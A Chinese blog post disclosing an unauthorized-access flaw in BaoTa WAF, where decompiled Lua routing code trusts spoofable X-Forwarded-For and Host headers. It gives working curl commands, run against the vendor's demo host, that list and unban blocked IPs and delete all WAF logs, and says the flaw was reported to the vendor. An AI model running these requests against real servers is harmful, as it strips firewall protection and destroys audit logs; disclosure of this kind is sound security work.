我发现了宝塔的未授权访问漏洞

本文涉及的产品
云原生数据库 PolarDB MySQL 版,Serverless 5000PCU 100GB
云数据库 Redis 版,社区版 2GB
推荐场景:
搭建游戏排行榜
云数据库 RDS MySQL Serverless,0.5-2RCU 50GB
简介: 宝塔的未授权访问漏洞

寒假期间闲着无事,过年又不想跑亲戚,又翻了翻宝塔的代码,再一次发现了重大漏洞。

大过年还在看代码真是不容易,宝塔请给我广告费+代码审计费。

整个宝塔 WAF 核心防护功能的代码写的确实有点粗糙,代码组织方式不像一个成熟软件该有的架构,小 Bug 一眼望不到头,今天分享的是一个未授权访问漏洞,普通用户可以无视宝塔的随机登录地址,无视宝塔的登录密码,直接操作后台的数据,实现人人都是管理员的效果。

请看这段代码

start = function ()
  ... 此处身略若干行
  if ngx.var.remote_addr == "127.0.0.1" and ngx.ctx.Server_name == "127.0.0.251" and ngx.var.host == "127.0.0.251" then
    if ngx.var.uri == "/get_btwaf_drop_ip" then
      Public.return_message(200, uv0.get_btwaf_drop_ip())
    elseif ngx.var.uri == "/remove_btwaf_drop_ip" then
      Public.return_message(200, uv0.remove_btwaf_drop_ip())
    elseif ngx.var.uri == "/clean_btwaf_drop_ip" then
      Public.return_message(200, uv0.clean_btwaf_drop_ip())
    elseif ngx.var.uri == "/updateinfo" then
      Public.return_message(200, uv0.updateInfo())
    elseif ngx.var.uri == "/get_site_status" then
      Public.return_message(200, uv0.get_site_status())
    elseif ngx.var.uri == "/get_global_status" then
      Public.return_message(200, uv0.get_global_status())
    end
    if ngx.var.uri == "/clean_btwaf_logs" then
      Public.return_message(200, uv0.clean_btwaf_logs())
    end
    if ngx.var.uri == "/clear_speed_hit" then
      Public.return_message(200, uv0.clear_speed_hit())
    end
    if ngx.var.uri == "/clear_replace_hit" then
      Public.return_message(200, uv0.clear_replace_hit())
    end
    if ngx.var.uri == "/reset_customize_cc" then
      Public.return_message(200, uv0.reset_customize_cc())
    end
    if ngx.var.uri == "/clear_speed_countsize" then
      Public.return_message(200, uv0.clear_speed_countsize())
    end
  end
end

这段代码位于 /cloud_waf/nginx/conf.d/waf/public/waf_route.lua 文件中,源文件是 luajit 编译后的内容,反编译一下即可看到源码。

看代码最开端的 if 语句,只要满足 ip 是 127.0.0.1 ,域名是 127.0.0.251 这两个条件就能在不用登录的情况下访问下面的 API 。

话说这是临时工写的代码吧,对于宝塔的配置来说,要满足这两个条件很难吗?

  • 配置 x-forwarded-for 头为 127.0.0.1 即可满足 ip 是 127.0.0.1 的条件
  • 配置 host 头为 127.0.0.251 即可满足域名是 127.0.0.251 的条件

提供一条 curl 参数供大家参考

curl 'http://宝塔地址/API'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'

到此漏洞原理就讲完了

我们访问宝塔官方网站做个测试

get_btwaf_drop_ip

这个 API 用来获取已经拉黑的 IP 列表,使用以下命令发起访问

curl 'http://btwaf-demo.bt.cn/get_btwaf_drop_ip'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'

remove_btwaf_drop_ip

这个 API 用来解封 IP ,提供一个 get 参数即可,使用以下命令发起访问

curl 'http://btwaf-demo.bt.cn/remove_btwaf_drop_ip?ip=1.2.3.4'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'

响应如下

{"msg":"1.2.3.4 已解封","status":true}

clean_btwaf_drop_ip

这个 API 用来解封所有 IP ,使用以下命令发起访问

curl 'http://btwaf-demo.bt.cn/clean_btwaf_drop_ip'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'

响应如下

{"msg":"已解封所有 IP","status":true}

updateinfo

这个 API 看起来是更新配置用的,需要一个 types 参数做校验,但实际并没有什么用处,使用以下命令发起访问

curl 'http://btwaf-demo.bt.cn/updateinfo?types'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'

get_site_status

这个 API 用来获取网站的配置,server_name 参数需要提供网站的域名,使用以下命令发起访问

curl 'http://btwaf-demo.bt.cn/get_site_status?server_name=bt.cn'  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'

响应如下

{"status":true,"msg":{"uv":0,"qps":0,"inland":0,"overseas":0,"today":{"pc_count":0,"mobile_count":0,"req":0,"spider_google":0,"spider_bing":0,"spider_sogou":0,"spider_360":0,"spider_other":0,"err_40x":0,"spider_baidu":0,"recv_bytes":0,"send_bytes":0,"err_500":0,"err_502":0,"err_503":0,"err_504":0,"err_499":0,"uv_count":0,"ip_count":0,"pv_count":0},"send_bytes":0,"proxy_count":0,"err_502":0,"recv_bytes":0,"err_504":0,"err_499":0,"ip":0,"proxy_time":0,"pv":0}}

clean_btwaf_logs

这个 API 用来删除宝塔的所有日志,使用以下命令发起访问

curl "http://btwaf-demo.bt.cn/clean_btwaf_logs"  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'

后续还有一些 API 大同小异,不一一列举了

  • get_global_status
  • clear_speed_hit
  • clear_replace_hit
  • reset_customize_cc
  • clear_speed_countsize

漏洞已通报给宝塔官方,此漏洞危害较大,各位宝塔用户请关注宝塔官方补丁,及时更新。

目录
相关文章
|
3月前
|
SQL 监控 安全
服务器安全性漏洞和常见攻击方式解析
服务器安全性漏洞和常见攻击方式解析
|
6月前
|
数据采集 安全 数据安全/隐私保护
渗透攻击实例-未授权访问/权限绕过
渗透攻击实例-未授权访问/权限绕过
|
7月前
|
分布式计算 安全 调度
PowerJob未授权访问漏洞(CVE-2023-29922)
PowerJob是一个开源分布式计算和作业调度框架,它允许开发人员在自己的应用程序中轻松调度任务。PowerJob V4.3.1版本存在安全漏洞,该漏洞源于存在不正确访问控制。
257 1
PowerJob未授权访问漏洞(CVE-2023-29922)
|
7月前
|
安全 API 数据库
Joomla未授权访问漏洞(CVE-2023-23752)
Joomla是一套全球知名的内容管理系统(CMS),其使用PHP语言加上MySQL数据库所开发,可以在Linux、Windows、MacOSX等各种不同的平台上运行。
103 1
|
7月前
|
Web App开发 安全 数据安全/隐私保护
JumpServer未授权访问漏洞(CVE-2023-42442)
JumpServer的权限管理存在缺陷,未经授权的远程攻击者可以下载历史会话连接期间的所有操作日志,可导致敏感信息泄漏。
248 1
|
10月前
|
安全 JavaScript 前端开发
代码审计——未授权访问详解
代码审计——未授权访问详解
365 0
|
安全 关系型数据库 MySQL
Joomla 未授权访问漏洞 CVE-2023-23752
Joomla是一套全球知名的内容管理系统(CMS),其使用PHP语言加上MySQL数据库所开发,可以在Linux、Windows、MacOSX等各种不同的平台上运行。 2月16日,Joomla官方发布安全公告,修复了Joomla! CMS中的一个未授权访问漏洞(CVE-2023-23752),目前该漏洞的细节及PoC/EXP已公开。 Joomla! CMS 版本4.0.0 - 4.2.7中由于对web 服务端点访问限制不当,可能导致未授权访问Rest API,造成敏感信息泄露(如数据库账号密码等)。
185 0
Joomla 未授权访问漏洞 CVE-2023-23752
|
安全 数据安全/隐私保护
靶机实战-密码重置与身份认证失效漏洞
靶机实战-密码重置与身份认证失效漏洞
靶机实战-密码重置与身份认证失效漏洞
|
安全 Shell Linux
linux服务器怎么检查后门账户
在Linux系统里植入账户后门是一个极其简单高效的管理权限维持办法。hack在获得目标系统权限的情况下,利用建立一个操作系统账户当做持久化的聚集点,如此一来随时都可以利用工具链接到目标操作系统,实现对目标服务器进行长期操控的目的。依据获得的shell方式不一样,建立操作系统账户的办法也不尽相同,一般shell方式可分为交互模式和非交互模式这两种情况:
154 0
linux服务器怎么检查后门账户
|
安全 前端开发 JavaScript
网站漏洞修复服务商对绕过认证漏洞的介绍
本月带给大家的是网站绕过认证漏洞。为了更好地确保业务管理系统的安全防护,基本上每一系统软件都是会存有各式各样的认证功能。普遍的几类认证功能就包含账户密码认证、验证码短信认证、JavaScript数据信息内容认证及服务器端数据信息内容认证这些,但写代码的技术员在涉及到认证方法时很有可能存有缺点造成被绕过,因此小结了下列几类绕过认证的姿态和大伙儿一块探讨探讨。
95 0
网站漏洞修复服务商对绕过认证漏洞的介绍